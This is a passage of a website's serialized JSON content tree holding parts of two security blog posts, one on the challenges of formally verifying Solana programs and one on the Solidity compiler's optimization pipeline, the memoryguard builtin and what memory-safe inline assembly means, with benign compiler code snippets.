props":27750,"children":27751},{"style":523},[27752],{"type":28,"value":884},{"type":23,"tag":24,"props":27754,"children":27755},{},[27756,27758,27763,27765,27770,27772,27777],{"type":28,"value":27757},"Here, we explicitly ",{"type":23,"tag":56,"props":27759,"children":27761},{"className":27760},[],[27762],{"type":28,"value":18966},{"type":28,"value":27764}," that our invariants hold at ",{"type":23,"tag":1887,"props":27766,"children":27767},{},[27768],{"type":28,"value":27769},"runtime",{"type":28,"value":27771}," which allows us to be assured that ",{"type":23,"tag":56,"props":27773,"children":27775},{"className":27774},[],[27776],{"type":28,"value":27415},{"type":28,"value":27778}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":27780,"children":27781},{},[27782],{"type":28,"value":27783},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":70,"props":27785,"children":27787},{"id":27786},"challenges-of-formal-verification-on-solana",[27788],{"type":28,"value":27789},"Challenges of formal verification on Solana",{"type":23,"tag":82,"props":27791,"children":27793},{"id":27792},"expensive-computation",[27794],{"type":28,"value":27795},"Expensive computation",{"type":23,"tag":24,"props":27797,"children":27798},{},[27799,27801,27806],{"type":28,"value":27800},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":1887,"props":27802,"children":27803},{},[27804],{"type":28,"value":27805},"path explosion",{"type":28,"value":27807},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":27809,"children":27810},{},[27811,27813,27818],{"type":28,"value":27812},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":1887,"props":27814,"children":27815},{},[27816],{"type":28,"value":27817},"formal verification friendly",{"type":28,"value":27819},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":27821,"children":27822},{},[27823,27825,27830,27832,27837],{"type":28,"value":27824},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":56,"props":27826,"children":27828},{"className":27827},[],[27829],{"type":28,"value":20379},{"type":28,"value":27831}," in a ",{"type":23,"tag":56,"props":27833,"children":27835},{"className":27834},[],[27836],{"type":28,"value":16190},{"type":28,"value":27838},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":27840,"children":27841},{},[27842,27844,27849,27851,27856,27858,27863,27865,27870,27872,27877,27879,27884],{"type":28,"value":27843},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":56,"props":27845,"children":27847},{"className":27846},[],[27848],{"type":28,"value":16190},{"type":28,"value":27850}," or a 32-byte ",{"type":23,"tag":56,"props":27852,"children":27854},{"className":27853},[],[27855],{"type":28,"value":20379},{"type":28,"value":27857},". Instead, our tool can substitute in ",{"type":23,"tag":1887,"props":27859,"children":27860},{},[27861],{"type":28,"value":27862},"cheaper",{"type":28,"value":27864}," types and functions, such as a 4-byte ",{"type":23,"tag":56,"props":27866,"children":27868},{"className":27867},[],[27869],{"type":28,"value":20379},{"type":28,"value":27871}," struct and a fixed-size, array-backed ",{"type":23,"tag":56,"props":27873,"children":27875},{"className":27874},[],[27876],{"type":28,"value":16190},{"type":28,"value":27878}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":1887,"props":27880,"children":27881},{},[27882],{"type":28,"value":27883},"much",{"type":28,"value":27885}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":27887,"children":27888},{},[27889],{"type":28,"value":27890},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":82,"props":27892,"children":27894},{"id":27893},"runtime-environment",[27895],{"type":28,"value":27896},"Runtime Environment",{"type":23,"tag":24,"props":27898,"children":27899},{},[27900],{"type":28,"value":27901},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":27903,"children":27904},{},[27905],{"type":28,"value":27906},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":27908,"children":27909},{},[27910],{"type":28,"value":27911},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":70,"props":27913,"children":27914},{"id":1800},[27915],{"type":28,"value":1803},{"type":23,"tag":24,"props":27917,"children":27918},{},[27919],{"type":28,"value":27920},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":27922,"children":27923},{},[27924],{"type":28,"value":27925},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":17774,"props":27927,"children":27928},{},[],{"type":23,"tag":24,"props":27930,"children":27931},{},[27932],{"type":23,"tag":1887,"props":27933,"children":27934},{},[27935,27937,27942,27943,27947],{"type":28,"value":27936},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":92,"props":27938,"children":27940},{"href":17857,"rel":27939},[96],[27941],{"type":28,"value":17861},{"type":28,"value":17863},{"type":23,"tag":92,"props":27944,"children":27945},{"href":17866},[27946],{"type":28,"value":17869},{"type":28,"value":320},{"type":23,"tag":1815,"props":27949,"children":27950},{},[27951],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":27953},[27954,27960,27964,27969,27975,27979],{"id":17931,"depth":540,"text":17934,"children":27955},[27956,27957,27958,27959],{"id":17937,"depth":555,"text":17940},{"id":18005,"depth":555,"text":18008},{"id":18886,"depth":555,"text":18889},{"id":18926,"depth":555,"text":18929},{"id":18979,"depth":540,"text":27961,"children":27962},"Specification: How can we describe what we want our program to do?",[27963],{"id":19092,"depth":555,"text":19095},{"id":20451,"depth":540,"text":20454,"children":27965},[27966,27967,27968],{"id":21128,"depth":555,"text":21131},{"id":21413,"depth":555,"text":21416},{"id":21557,"depth":555,"text":21560},{"id":21698,"depth":540,"text":21701,"children":27970},[27971,27972,27973,27974],{"id":21769,"depth":555,"text":21772},{"id":23618,"depth":555,"text":23621},{"id":24420,"depth":555,"text":21761},{"id":26946,"depth":555,"text":21766},{"id":27786,"depth":540,"text":27789,"children":27976},[27977,27978],{"id":27792,"depth":555,"text":27795},{"id":27893,"depth":555,"text":27896},{"id":1800,"depth":540,"text":1803},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":27984,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":27985,"description":27986,"author":4702,"image":27987,"date":27989,"isFeatured":16,"onBlogPage":16,"tags":27990,"body":27992,"_type":1838,"_id":29412,"_source":1840,"_file":29413,"_stem":29414,"_extension":1843},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":27988,"height":12604,"width":12604},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[3454,27991],"compiler",{"type":20,"children":27993,"toc":29403},[27994,28000,28036,28048,28054,28076,28089,28237,28258,28263,28284,28289,28297,28302,28307,28312,28318,28337,28342,28363,28426,28439,28469,28489,28516,28521,28534,28539,28544,28557,28588,28611,28765,28783,28834,28853,28878,28883,28889,28916,28936,28964,28969,28991,29010,29018,29029,29034,29050,29307,29315,29320,29324,29329,29334,29399],{"type":23,"tag":70,"props":27995,"children":27997},{"id":27996},"introduction",[27998],{"type":28,"value":27999},"Introduction",{"type":23,"tag":24,"props":28001,"children":28002},{},[28003,28005,28011,28012,28016,28018,28025,28027,28034],{"type":28,"value":28004},"What does ",{"type":23,"tag":56,"props":28006,"children":28008},{"className":28007},[],[28009],{"type":28,"value":28010},"memory-safe",{"type":28,"value":5441},{"type":23,"tag":1887,"props":28013,"children":28014},{},[28015],{"type":28,"value":8270},{"type":28,"value":28017}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":92,"props":28019,"children":28022},{"href":28020,"rel":28021},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[96],[28023],{"type":28,"value":28024},"presents some requirements",{"type":28,"value":28026},", but is production code that ",{"type":23,"tag":92,"props":28028,"children":28031},{"href":28029,"rel":28030},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[96],[28032],{"type":28,"value":28033},"violates these requirements",{"type":28,"value":28035}," necessarily unsafe?",{"type":23,"tag":24,"props":28037,"children":28038},{},[28039,28041,28046],{"type":28,"value":28040},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":1887,"props":28042,"children":28043},{},[28044],{"type":28,"value":28045},"memory-safety",{"type":28,"value":28047}," actually means.",{"type":23,"tag":70,"props":28049,"children":28051},{"id":28050},"compiler-pipeline",[28052],{"type":28,"value":28053},"Compiler Pipeline",{"type":23,"tag":24,"props":28055,"children":28056},{},[28057,28059,28066,28068,28075],{"type":28,"value":28058},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":92,"props":28060,"children":28063},{"href":28061,"rel":28062},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[96],[28064],{"type":28,"value":28065},"released in v0.8.13",{"type":28,"value":28067},". Compilation happens ",{"type":23,"tag":92,"props":28069,"children":28072},{"href":28070,"rel":28071},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[96],[28073],{"type":28,"value":28074},"in two main steps",{"type":28,"value":3472},{"type":23,"tag":41,"props":28077,"children":28078},{},[28079,28084],{"type":23,"tag":45,"props":28080,"children":28081},{},[28082],{"type":28,"value":28083},"Solidity to YUL IR",{"type":23,"tag":45,"props":28085,"children":28086},{},[28087],{"type":28,"value":28088},"YUL IR to EVM opcodes",{"type":23,"tag":494,"props":28090,"children":28094},{"className":28091,"code":28092,"language":28093,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[28095],{"type":23,"tag":56,"props":28096,"children":28097},{"__ignoreMap":7},[28098,28128,28149,28161,28169,28181,28201,28209,28230],{"type":23,"tag":504,"props":28099,"children":28100},{"class":506,"line":507},[28101,28105,28110,28114,28119,28123],{"type":23,"tag":504,"props":28102,"children":28103},{"style":544},[28104],{"type":28,"value":11261},{"type":23,"tag":504,"props":28106,"children":28107},{"style":523},[28108],{"type":28,"value":28109}," (m_viaIR ",{"type":23,"tag":504,"props":28111,"children":28112},{"style":598},[28113],{"type":28,"value":21400},{"type":23,"tag":504,"props":28115,"children":28116},{"style":523},[28117],{"type":28,"value":28118}," m_generateIR ",{"type":23,"tag":504,"props":28120,"children":28121},{"style":598},[28122],{"type":28,"value":21400},{"type":23,"tag":504,"props":28124,"children":28125},{"style":523},[28126],{"type":28,"value":28127}," m_generateEwasm)\n",{"type":23,"tag":504,"props":28129,"children":28130},{"class":506,"line":540},[28131,28136,28140,28144],{"type":23,"tag":504,"props":28132,"children":28133},{"style":517},[28134],{"type":28,"value":28135},"        generateIR",{"type":23,"tag":504,"props":28137,"children":28138},{"style":523},[28139],{"type":28,"value":526},{"type":23,"tag":504,"props":28141,"children":28142},{"style":598},[28143],{"type":28,"value":3552},{"type":23,"tag":504,"props":28145,"children":28146},{"style":523},[28147],{"type":28,"value":28148},"contract);\n",{"type":23,"tag":504,"props":28150,"children":28151},{"class":506,"line":555},[28152,28156],{"type":23,"tag":504,"props":28153,"children":28154},{"style":544},[28155],{"type":28,"value":11261},{"type":23,"tag":504,"props":28157,"children":28158},{"style":523},[28159],{"type":28,"value":28160}," (m_generateEvmBytecode)\n",{"type":23,"tag":504,"props":28162,"children":28163},{"class":506,"line":633},[28164],{"type":23,"tag":504,"props":28165,"children":28166},{"style":523},[28167],{"type":28,"value":28168},"    {\n",{"type":23,"tag":504,"props":28170,"children":28171},{"class":506,"line":687},[28172,28176],{"type":23,"tag":504,"props":28173,"children":28174},{"style":544},[28175],{"type":28,"value":2250},{"type":23,"tag":504,"props":28177,"children":28178},{"style":523},[28179],{"type":28,"value":28180}," (m_viaIR)\n",{"type":23,"tag":504,"props":28182,"children":28183},{"class":506,"line":736},[28184,28189,28193,28197],{"type":23,"tag":504,"props":28185,"children":28186},{"style":517},[28187],{"type":28,"value":28188},"            generateEVMFromIR",{"type":23,"tag":504,"props":28190,"children":28191},{"style":523},[28192],{"type":28,"value":526},{"type":23,"tag":504,"props":28194,"children":28195},{"style":598},[28196],{"type":28,"value":3552},{"type":23,"tag":504,"props":28198,"children":28199},{"style":523},[28200],{"type":28,"value":28148},{"type":23,"tag":504,"props":28202,"children":28203},{"class":506,"line":785},[28204],{"type":23,"tag":504,"props":28205,"children":28206},{"style":544},[28207],{"type":28,"value":28208},"        else\n",{"type":23,"tag":504,"props":28210,"children":28211},{"class":506,"line":813},[28212,28217,28221,28225],{"type":23,"tag":504,"props":28213,"children":28214},{"style":517},[28215],{"type":28,"value":28216},"            compileContract",{"type":23,"tag":504,"props":28218,"children":28219},{"style":523},[28220],{"type":28,"value":526},{"type":23,"tag":504,"props":28222,"children":28223},{"style":598},[28224],{"type":28,"value":3552},{"type":23,"tag":504,"props":28226,"children":28227},{"style":523},[28228],{"type":28,"value":28229},"contract, otherCompilers);\n",{"type":23,"tag":504,"props":28231,"children":28232},{"class":506,"line":851},[28233],{"type":23,"tag":504,"props":28234,"children":28235},{"style":523},[28236],{"type":28,"value":875},{"type":23,"tag":24,"props":28238,"children":28239},{},[28240,28242,28249,28250,28257],{"type":28,"value":28241},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":92,"props":28243,"children":28246},{"href":28244,"rel":28245},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[96],[28247],{"type":28,"value":28248},"YulStack::optimize",{"type":28,"value":430},{"type":23,"tag":92,"props":28251,"children":28254},{"href":28252,"rel":28253},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[96],[28255],{"type":28,"value":28256},"Assembly::optimize",{"type":28,"value":320},{"type":23,"tag":24,"props":28259,"children":28260},{},[28261],{"type":28,"value":28262},"In total, there are four steps.",{"type":23,"tag":41,"props":28264,"children":28265},{},[28266,28270,28275,28279],{"type":23,"tag":45,"props":28267,"children":28268},{},[28269],{"type":28,"value":28083},{"type":23,"tag":45,"props":28271,"children":28272},{},[28273],{"type":28,"value":28274},"Optimization of YUL IR",{"type":23,"tag":45,"props":28276,"children":28277},{},[28278],{"type":28,"value":28088},{"type":23,"tag":45,"props":28280,"children":28281},{},[28282],{"type":28,"value":28283},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":28285,"children":28286},{},[28287],{"type":28,"value":28288},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":1909,"props":28290,"children":28291},{},[28292],{"type":23,"tag":24,"props":28293,"children":28294},{},[28295],{"type":28,"value":28296},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":28298,"children":28299},{},[28300],{"type":28,"value":28301},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":28303,"children":28304},{},[28305],{"type":28,"value":28306},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":28308,"children":28309},{},[28310],{"type":28,"value":28311},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":70,"props":28313,"children":28315},{"id":28314},"guarantees",[28316],{"type":28,"value":28317},"Guarantees",{"type":23,"tag":24,"props":28319,"children":28320},{},[28321,28322,28329,28331,28336],{"type":28,"value":15592},{"type":23,"tag":92,"props":28323,"children":28326},{"href":28324,"rel":28325},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[96],[28327],{"type":28,"value":28328},"Solidity memory layout",{"type":28,"value":28330}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":1887,"props":28332,"children":28333},{},[28334],{"type":28,"value":28335},"no information about this layout",{"type":28,"value":320},{"type":23,"tag":24,"props":28338,"children":28339},{},[28340],{"type":28,"value":28341},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":28343,"children":28344},{},[28345,28347,28353,28355,28361],{"type":28,"value":28346},"Introducing ",{"type":23,"tag":56,"props":28348,"children":28350},{"className":28349},[],[28351],{"type":28,"value":28352},"memoryguard",{"type":28,"value":28354},". If you've ever looked at the output of ",{"type":23,"tag":56,"props":28356,"children":28358},{"className":28357},[],[28359],{"type":28,"value":28360},"solc --ir",{"type":28,"value":28362},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":494,"props":28364,"children":28366},{"className":3455,"code":28365,"language":3454,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[28367],{"type":23,"tag":56,"props":28368,"children":28369},{"__ignoreMap":7},[28370,28388],{"type":23,"tag":504,"props":28371,"children":28372},{"class":506,"line":507},[28373,28378,28383],{"type":23,"tag":504,"props":28374,"children":28375},{"style":1106},[28376],{"type":28,"value":28377},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":504,"props":28379,"children":28380},{"style":511},[28381],{"type":28,"value":28382},"XXX",{"type":23,"tag":504,"props":28384,"children":28385},{"style":1106},[28386],{"type":28,"value":28387}," {...\"\n",{"type":23,"tag":504,"props":28389,"children":28390},{"class":506,"line":540},[28391,28396,28400,28405,28409,28413,28417,28422],{"type":23,"tag":504,"props":28392,"children":28393},{"style":517},[28394],{"type":28,"value":28395},"    store",{"type":23,"tag":504,"props":28397,"children":28398},{"style":523},[28399],{"type":28,"value":526},{"type":23,"tag":504,"props":28401,"children":28402},{"style":1440},[28403],{"type":28,"value":28404},"64",{"type":23,"tag":504,"props":28406,"children":28407},{"style":523},[28408],{"type":28,"value":576},{"type":23,"tag":504,"props":28410,"children":28411},{"style":517},[28412],{"type":28,"value":28352},{"type":23,"tag":504,"props":28414,"children":28415},{"style":523},[28416],{"type":28,"value":526},{"type":23,"tag":504,"props":28418,"children":28419},{"style":1440},[28420],{"type":28,"value":28421},"0x80",{"type":23,"tag":504,"props":28423,"children":28424},{"style":523},[28425],{"type":28,"value":18694},{"type":23,"tag":24,"props":28427,"children":28428},{},[28429,28431,28438],{"type":28,"value":28430},"From ",{"type":23,"tag":92,"props":28432,"children":28435},{"href":28433,"rel":28434},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[96],[28436],{"type":28,"value":28437},"the documentation",{"type":28,"value":3104},{"type":23,"tag":1909,"props":28440,"children":28441},{},[28442],{"type":23,"tag":24,"props":28443,"children":28444},{},[28445,28447,28453,28455,28461,28463,28468],{"type":28,"value":28446},"The caller of ",{"type":23,"tag":56,"props":28448,"children":28450},{"className":28449},[],[28451],{"type":28,"value":28452},"let ptr := memoryguard(size)",{"type":28,"value":28454}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":56,"props":28456,"children":28458},{"className":28457},[],[28459],{"type":28,"value":28460},"[0, size)",{"type":28,"value":28462}," or the unbounded range starting at ",{"type":23,"tag":56,"props":28464,"children":28466},{"className":28465},[],[28467],{"type":28,"value":12930},{"type":28,"value":320},{"type":23,"tag":24,"props":28470,"children":28471},{},[28472,28474,28479,28481,28487],{"type":28,"value":28473},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":56,"props":28475,"children":28477},{"className":28476},[],[28478],{"type":28,"value":28352},{"type":28,"value":28480}," return ",{"type":23,"tag":56,"props":28482,"children":28484},{"className":28483},[],[28485],{"type":28,"value":28486},"size + 32",{"type":28,"value":28488},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":28490,"children":28491},{},[28492,28494,28501,28503,28508,28510,28515],{"type":28,"value":28493},"An example of this optimization in practice ",{"type":23,"tag":92,"props":28495,"children":28498},{"href":28496,"rel":28497},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[96],[28499],{"type":28,"value":28500},"is the StackLimitEvader",{"type":28,"value":28502},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":1887,"props":28504,"children":28505},{},[28506],{"type":28,"value":28507},"only",{"type":28,"value":28509}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":56,"props":28511,"children":28513},{"className":28512},[],[28514],{"type":28,"value":28352},{"type":28,"value":320},{"type":23,"tag":24,"props":28517,"children":28518},{},[28519],{"type":28,"value":28520},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":28522,"children":28523},{},[28524,28526,28532],{"type":28,"value":28525},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":56,"props":28527,"children":28529},{"className":28528},[],[28530],{"type":28,"value":28531},"memoryguard(0x60)",{"type":28,"value":28533}," instead. The rest of the pipeline will still work.",{"type":23,"tag":70,"props":28535,"children":28536},{"id":28045},[28537],{"type":28,"value":28538},"Memory Safety",{"type":23,"tag":24,"props":28540,"children":28541},{},[28542],{"type":28,"value":28543},"So what does memory safety mean?",{"type":23,"tag":24,"props":28545,"children":28546},{},[28547,28549,28555],{"type":28,"value":28548},"The Solidity documentation provides ",{"type":23,"tag":92,"props":28550,"children":28552},{"href":28020,"rel":28551},[96],[28553],{"type":28,"value":28554},"a set of constraints",{"type":28,"value":28556},", not a definition.",{"type":23,"tag":1909,"props":28558,"children":28559},{},[28560,28565],{"type":23,"tag":24,"props":28561,"children":28562},{},[28563],{"type":28,"value":28564},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":41,"props":28566,"children":28567},{},[28568,28573,28578,28583],{"type":23,"tag":45,"props":28569,"children":28570},{},[28571],{"type":28,"value":28572},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":45,"props":28574,"children":28575},{},[28576],{"type":28,"value":28577},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":45,"props":28579,"children":28580},{},[28581],{"type":28,"value":28582},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":45,"props":28584,"children":28585},{},[28586],{"type":28,"value":28587},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":28589,"children":28590},{},[28591,28593,28600,28610],{"type":28,"value":28592},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":92,"props":28594,"children":28597},{"href":28595,"rel":28596},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[96],[28598],{"type":28,"value":28599},"removes the memory guard",{"type":23,"tag":14454,"props":28601,"children":28602},{},[28603],{"type":23,"tag":92,"props":28604,"children":28608},{"href":28605,"ariaDescribedBy":28606,"dataFootnoteRef":7,"id":28607},"#user-content-fn-1",[14461],"user-content-fnref-1",[28609],{"type":28,"value":2991},{"type":28,"value":320},{"type":23,"tag":494,"props":28612,"children":28614},{"className":28091,"code":28613,"language":28093,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[28615],{"type":23,"tag":56,"props":28616,"children":28617},{"__ignoreMap":7},[28618,28626,28634,28641,28677,28684,28692,28700,28708,28716,28724,28737,28750,28758],{"type":23,"tag":504,"props":28619,"children":28620},{"class":506,"line":507},[28621],{"type":23,"tag":504,"props":28622,"children":28623},{"style":1106},[28624],{"type":28,"value":28625},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":504,"props":28627,"children":28628},{"class":506,"line":540},[28629],{"type":23,"tag":504,"props":28630,"children":28631},{"style":1106},[28632],{"type":28,"value":28633},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":504,"props":28635,"children":28636},{"class":506,"line":555},[28637],{"type":23,"tag":504,"props":28638,"children":28639},{"emptyLinePlaceholder":16},[28640],{"type":28,"value":1038},{"type":23,"tag":504,"props":28642,"children":28643},{"class":506,"line":633},[28644,28649,28654,28659,28663,28668,28673],{"type":23,"tag":504,"props":28645,"children":28646},{"style":1012},[28647],{"type":28,"value":28648},"string",{"type":23,"tag":504,"props":28650,"children":28651},{"style":523},[28652],{"type":28,"value":28653}," IRGenerator::",{"type":23,"tag":504,"props":28655,"children":28656},{"style":517},[28657],{"type":28,"value":28658},"memoryInit",{"type":23,"tag":504,"props":28660,"children":28661},{"style":523},[28662],{"type":28,"value":526},{"type":23,"tag":504,"props":28664,"children":28665},{"style":511},[28666],{"type":28,"value":28667},"bool",{"type":23,"tag":504,"props":28669,"children":28670},{"style":529},[28671],{"type":28,"value":28672}," _useMemoryGuard",{"type":23,"tag":504,"props":28674,"children":28675},{"style":523},[28676],{"type":28,"value":1192},{"type":23,"tag":504,"props":28678,"children":28679},{"class":506,"line":687},[28680],{"type":23,"tag":504,"props":28681,"children":28682},{"style":523},[28683],{"type":28,"value":9862},{"type":23,"tag":504,"props":28685,"children":28686},{"class":506,"line":736},[28687],{"type":23,"tag":504,"props":28688,"children":28689},{"style":1106},[28690],{"type":28,"value":28691}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":504,"props":28693,"children":28694},{"class":506,"line":785},[28695],{"type":23,"tag":504,"props":28696,"children":28697},{"style":1106},[28698],{"type":28,"value":28699}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":504,"props":28701,"children":28702},{"class":506,"line":813},[28703],{"type":23,"tag":504,"props":28704,"children":28705},{"style":1106},[28706],{"type":28,"value":28707}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":504,"props":28709,"children":28710},{"class":506,"line":851},[28711],{"type":23,"tag":504,"props":28712,"children":28713},{"style":544},[28714],{"type":28,"value":28715}," return\n",{"type":23,"tag":504,"props":28717,"children":28718},{"class":506,"line":869},[28719],{"type":23,"tag":504,"props":28720,"children":28721},{"style":523},[28722],{"type":28,"value":28723},"  Whiskers{\n",{"type":23,"tag":504,"props":28725,"children":28726},{"class":506,"line":878},[28727,28732],{"type":23,"tag":504,"props":28728,"children":28729},{"style":523},[28730],{"type":28,"value":28731},"   _useMemoryGuard ",{"type":23,"tag":504,"props":28733,"children":28734},{"style":598},[28735],{"type":28,"value":28736},"?\n",{"type":23,"tag":504,"props":28738,"children":28739},{"class":506,"line":1221},[28740,28745],{"type":23,"tag":504,"props":28741,"children":28742},{"style":622},[28743],{"type":28,"value":28744},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":504,"props":28746,"children":28747},{"style":598},[28748],{"type":28,"value":28749}," :\n",{"type":23,"tag":504,"props":28751,"children":28752},{"class":506,"line":1276},[28753],{"type":23,"tag":504,"props":28754,"children":28755},{"style":622},[28756],{"type":28,"value":28757},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":504,"props":28759,"children":28760},{"class":506,"line":1285},[28761],{"type":23,"tag":504,"props":28762,"children":28763},{"style":523},[28764],{"type":28,"value":4855},{"type":23,"tag":24,"props":28766,"children":28767},{},[28768,28773,28775,28781],{"type":23,"tag":56,"props":28769,"children":28771},{"className":28770},[],[28772],{"type":28,"value":28360},{"type":28,"value":28774}," will now no longer have ",{"type":23,"tag":56,"props":28776,"children":28778},{"className":28777},[],[28779],{"type":28,"value":28780},"memoryguard(0x80)",{"type":28,"value":28782}," as expected.",{"type":23,"tag":494,"props":28784,"children":28786},{"className":3455,"code":28785,"language":3454,"meta":7,"style":7},"    /// 